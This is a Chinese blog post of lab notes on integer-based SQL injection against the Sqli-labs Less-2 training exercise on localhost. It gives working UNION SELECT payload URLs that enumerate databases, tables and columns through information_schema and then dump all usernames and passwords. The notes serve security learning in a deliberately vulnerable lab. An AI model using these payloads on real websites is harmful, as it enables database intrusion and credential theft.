SQL注入学习笔记----整形注入
实验环境工具配置
实验环境:Sqli-labs下载地址:https://github.com/Audi-1/sqli-labs
实验工具:phpstudy
下载地址:https://www.xp.cn/download.html
一、实验思路
1、首先应该判断是否存在SQL注入,即提交上去的SQL语句在执行之前是否经过严格的校验
- 可控参数的改变是否会导致不同的显示页面
- 执行SQL语句使得数据库报错,并且返回相应的报错信息,从中得到一些信息
- 执行SQL语句使得数据库不报错,不报错说明我们上传的SQL语句能够闭合并且成功执行
2、如果存在,则判断是什么类型的SQL注入
3、上传的SQL语句是否能够被恶意的修改
4、上传的SQL语句是否能够成功地执行
5、构造语句上传执行来获取我们需要的数据
二、实验步骤
1.初始化数据库
配置好SQLi-LABS,打开目录下的index.php文件,如下图
选择 Setup/reset Database for labs 会显示如下界面,表明数据库初始化成功
2.开始实验
首先判断是否存在注入,选择不同数值的可控参数,多次尝试,观察返回结果
http://localhost/sqli-labs-master/Less-2/?id=1
http://localhost/sqli-labs-master/Less-2/?id=2
可见,不同数值的参数能够得到不同的返回结果,说明此处存在与数据库的交互,所以是存在SQL注入的
进一步,判断是字符型注入还是数值型注入
http://localhost/sqli-labs-master/Less-2/?id=1'
返回了报错的信息,说的是有语法错误,而且我们可以观察到报错附近的SQL语句,即图中红线的内容,通过URL可知,我们并没有添加’'LIMIT 0,1’这一字符串,所以我们可以知道这是SQL执行语句中带有的一部分,作用是限制显示的结果为1行,而且可以看出在字符串的两边,单引号的数量不一致
所以我们可以尝试在1后面加双引号看看
http://localhost/sqli-labs-master/Less-2/?id=1"
①
可以看出,这次返回的字符串中,左边为一个单引号+一个双引号,右边是一个单引号,可知,无论是这里的双引号还是上面的单引号,都是我们所输入的参数造成的,可以初步判断这是一个数值型注入,所以不存在闭合的问题,如果多出了单引号或者双引号,就会引起语法错误
修改上传的URL继续尝试
http://localhost/sqli-labs-master/Less-2/?id=1 and 1=1
②
可以得到正常的显示结果
继续修改URL尝试
http://localhost/sqli-labs-master/Less-2/?id=1 and 1=2
③
没有得到正常的显示结果,但是没有报错,SQL语句正常执行
综上三点,我们可以判断出这是一个数值型注入
在进一步获取数据前,先补充相关的知识
1.information_schema数据库
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在 information_schema 中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
2.information_schema.schemata表
提供了当前mysql实例中所有数据库的信息,其中需要用到的是 schema_name 这一列,存放的是各个数据库的名称
3.information_schema.tables表
提供了所有数据库中所有的表的信息,其中需要用到的是 table_name 这一列,存放的是各个表的名称(这里表的名称是有可能重复的,因为是不同数据库中的表,名称可以相同),以及 table_schema 这一列,存放的是各个数据库的名称(可以通过选择条件来指定数据库)
4.information_schema.columns表
提供了所有数据库中所有表的所有字段的信息,其中需要用到的是 column_name 这一列,存放的是各个字段的名称
补充完相关的知识,就可以开始通过SQL注入来获取我们需要的数据了
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,2,3 from information_schema.schemata
注意,这里上传的id为999,目的是使得在数据库中找不到id=999这一条记录,所以显示的结果为union后面的 select 部分的内容(union的作用就是将两个列数量相同的表拼接成为一个表,这里很容易判断union左边是一个列数为3的表),所以我们就可以利用union后边的部分来获取相关的数据
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,schema_name,3 from information_schema.schemata
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,group_concat(schema_name),3 from information_schema.schemata
观察两个url以及返回的结果,可知group_concat()这个函数的作用是将一列中的所有内容合并成一个字符串并返回结果,至此,我们得到了MySQL中的所有数据库的名称,下一步是判断当前使用的数据库
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,database(),3
知道当前使用的是security数据库
接下来查看security数据库中的各个表
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
发现有一个users表,继续查询里面具体的字段
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users'
可见,在users表中有三个字段,分别是:id、username、password,继续查询表中的username和password
http://localhost/sqli-labs-master/Less-2/?id=999 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users
这里再介绍一个函数,concat_ws(),该函数能够将多个字符串连接成一个字符串返回,并且可以一次性指定分隔符
至此,我们已经得到了当前所使用的数据库security中users表中的所有username和password,完成实验
总结
本次实验的主要思路就是先查看当先使用的数据库,接着查看数据库中存在的表,然后进一步获取表中的各字段的信息,然后通过构造SQL语句看查询所需要的信息即可
数据库->表->字段->数据
最后,第一次写博客,如有错误的地方欢迎指正,谢谢!